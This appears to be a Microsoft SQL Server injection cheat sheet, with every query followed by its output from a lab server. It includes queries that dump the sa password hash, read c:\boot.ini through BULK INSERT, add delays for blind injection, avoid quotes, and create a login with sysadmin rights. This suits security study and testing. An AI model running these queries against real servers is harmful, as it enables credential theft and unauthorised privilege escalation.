Version:
SELECT @@version;
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Evaluation Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
(所影响的行数为 1 行)
Comments:
SELECT 1 --comment;
1
(所影响的行数为 1 行)
SELECT /*comment*/1;
1
(所影响的行数为 1 行)
Current User:
SELECT user_name();
dbo
(所影响的行数为 1 行)
SELECT system_user;
YANG-C16322B843\Administrator
(所影响的行数为 1 行)
SELECT user;
dbo
(所影响的行数为 1 行)
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID;
loginame
--------------------------------------------------------------------------------------------------------------------------------
YANG-C16322B843\Administrator
(所影响的行数为 1 行)
List Users:
name
--------------------------------------------------------------------------------------------------------------------------------
sa
BUILTIN\Administrators
(所影响的行数为 2 行)
List Password Hashes:
SELECT name, password FROM master..sysxlogins;
name password
-------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
BUILTIN\Administrators NULL
sa 0x01008857077DB8818A4AF0ECF49EDA773D7C136CEB10769829D1478CAC0BE3631231BA55BD40D38AFD5E7E4F608B
NULL NULL
(所影响的行数为 3 行)
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;
name
-------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
BUILTIN\Administrators NULL
sa 0x01008857077db8818a4af0ecf49eda773d7c136ceb10769829d1478cac0be3631231ba55bd40d38afd5e7e4f608b
NULL NULL
(所影响的行数为 3 行)
List Privileges:
SELECT is_srvrolemember('sysadmin');
SELECT is_srvrolemember('dbcreator');
SELECT is_srvrolemember('bulkadmin');
SELECT is_srvrolemember('diskadmin');
SELECT is_srvrolemember('processadmin');
SELECT is_srvrolemember('serveradmin');
SELECT is_srvrolemember('setupadmin');
SELECT is_srvrolemember('securityadmin');
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
-----------
1
(所影响的行数为 1 行)
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
name
--------------------------------------------------------------------------------------------------------------------------------
BUILTIN\Administrators
sa
(所影响的行数为 2 行)
name
--------------------------------------------------------------------------------------------------------------------------------
BUILTIN\Administrators
sa
(所影响的行数为 2 行)
name
--------------------------------------------------------------------------------------------------------------------------------
sa
(所影响的行数为 1 行)
name
--------------------------------------------------------------------------------------------------------------------------------
sa
(所影响的行数为 1 行)
name
--------------------------------------------------------------------------------------------------------------------------------
BUILTIN\Administrators
sa
(所影响的行数为 2 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
name
--------------------------------------------------------------------------------------------------------------------------------
(所影响的行数为 0 行)
Current Database:
SELECT DB_NAME();
--------------------------------------------------------------------------------------------------------------------------------
master
(所影响的行数为 1 行)
List Databases:
SELECT name FROM master..sysdatabases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
pubs
Northwind
yang
(所影响的行数为 7 行)
SELECT DB_NAME(0);
SELECT DB_NAME(1);
SELECT DB_NAME(2);
SELECT DB_NAME(3);
SELECT DB_NAME(4);
SELECT DB_NAME(5);
SELECT DB_NAME(6);
SELECT DB_NAME(7);
SELECT DB_NAME(8);
--------------------------------------------------------------------------------------------------------------------------------
master
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
master
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
tempdb
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
model
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
msdb
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
pubs
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
Northwind
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
yang
(所影响的行数为 1 行)
--------------------------------------------------------------------------------------------------------------------------------
NULL
(所影响的行数为 1 行)
List Columns:
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tb_user');
name
--------------------------------------------------------------------------------------------------------------------------------
password
username
(所影响的行数为 2 行)
SELECT yang..syscolumns.name, TYPE_NAME(yang..syscolumns.xtype) FROM yang..syscolumns, yang..sysobjects WHERE yang..syscolumns.id=yang..sysobjects.id AND yang..sysobjects.name='tb_user';
name
-------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------
username varchar
password varchar
(所影响的行数为 2 行)
List Tables:
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM yang..sysobjects WHERE xtype = 'U';
name
--------------------------------------------------------------------------------------------------------------------------------
spt_monitor
spt_values
spt_fallback_db
spt_fallback_dev
spt_fallback_usg
spt_provider_types
spt_datatype_info_ext
MSreplication_options
spt_datatype_info
spt_server_info
(所影响的行数为 10 行)
name
--------------------------------------------------------------------------------------------------------------------------------
tb_user
dtproperties
(所影响的行数为 2 行)
Find Tables From Column Name:
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name = 'username';
tablename columnname
-------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------
tb_user username
(所影响的行数为 1 行)
Select Nth Row:
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;
name
--------------------------------------------------------------------------------------------------------------------------------
sa
(所影响的行数为 1 行)
Select Nth Char:
SELECT substring('abcd', 3, 1);
----
c
(所影响的行数为 1 行)
Bitwise AND:
SELECT 6 & 2;
SELECT 6 & 1;
-----------
2
(所影响的行数为 1 行)
-----------
0
(所影响的行数为 1 行)
ASCII Value -> Char:
SELECT char(0x41);
----
A
(所影响的行数为 1 行)
Char -> ASCII Value:
SELECT ascii('A');
-----------
65
(所影响的行数为 1 行)
Casting:
SELECT CAST('1' as int);
SELECT CAST(1 as char);
-----------
1
(所影响的行数为 1 行)
------------------------------
1
(所影响的行数为 1 行)
String Concatenation:
SELECT 'A' + 'B';
----
AB
(所影响的行数为 1 行)
If Statement:
IF (1=1) SELECT 1 ELSE SELECT 2;
-----------
1
(所影响的行数为 1 行)
Case Statement:
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
-----------
1
(所影响的行数为 1 行)
Avoiding Quotes:
SELECT char(65)+char(66);
----
AB
(所影响的行数为 1 行)
Time Delay:
WAITFOR DELAY '0:0:5';
Local File Access:
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\\boot.ini';
SELECT * FROM mydata;
(所影响的行数为 5 行)
line
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fastdetect
(所影响的行数为 5 行)
Hostname, IP Address:
SELECT HOST_NAME();
--------------------------------------------------------------------------------------------------------------------------------
YANG-C16322B843
(所影响的行数为 1 行)
Create Users:
EXEC sp_addlogin 'user', 'pass';
已创建新登录。
Make User DBA:
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
'user' 已添加到角色 'sysadmin' 中。
Drop Users:
EXEC sp_droplogin 'user';
登录已除去。
Location of DB files:
EXEC sp_helpdb master;
EXEC sp_helpdb pubs;
name db_size owner dbid created status compatibility_level
-------------------------------------------------------------------------------------------------------------------------------- ------------- -------------------------------------------------------------------------------------------------------------------------------- ------ ----------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------
master 22.00 MB sa 1 08 6 2000 Status=ONLINE, Updateability=READ_WRITE, UserAccess=MULTI_USER, Recovery=SIMPLE, Version=539, Collation=Chinese_PRC_CI_AS, SQLSortOrder=0, IsTornPageDetectionEnabled, IsAutoCreateStatistics, IsAutoUpdateStatistics 80
name fileid filename filegroup size maxsize growth usage
-------------------------------------------------------------------------------------------------------------------------------- ------ ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ------------------ ------------------ ------------------ ---------
master 1 C:\Program Files\Microsoft SQL Server\MSSQL\data\master.mdf PRIMARY 17344 KB Unlimited 10% data only
mastlog 2 C:\Program Files\Microsoft SQL Server\MSSQL\data\mastlog.ldf NULL 5184 KB Unlimited 10% log only
name db_size owner dbid created status compatibility_level
-------------------------------------------------------------------------------------------------------------------------------- ------------- -------------------------------------------------------------------------------------------------------------------------------- ------ ----------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------
pubs 2.50 MB sa 5 08 6 2000 Status=ONLINE, Updateability=READ_WRITE, UserAccess=MULTI_USER, Recovery=SIMPLE, Version=539, Collation=Chinese_PRC_CI_AS, SQLSortOrder=0, IsTornPageDetectionEnabled, IsAutoCreateStatistics, IsAutoUpdateStatistics 80
name fileid filename filegroup size maxsize growth usage
-------------------------------------------------------------------------------------------------------------------------------- ------ ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ------------------ ------------------ ------------------ ---------
pubs 1 C:\Program Files\Microsoft SQL Server\MSSQL\data\pubs.mdf PRIMARY 1792 KB Unlimited 10% data only
pubs_log 2 C:\Program Files\Microsoft SQL Server\MSSQL\data\pubs_log.ldf NULL 768 KB Unlimited 10% log only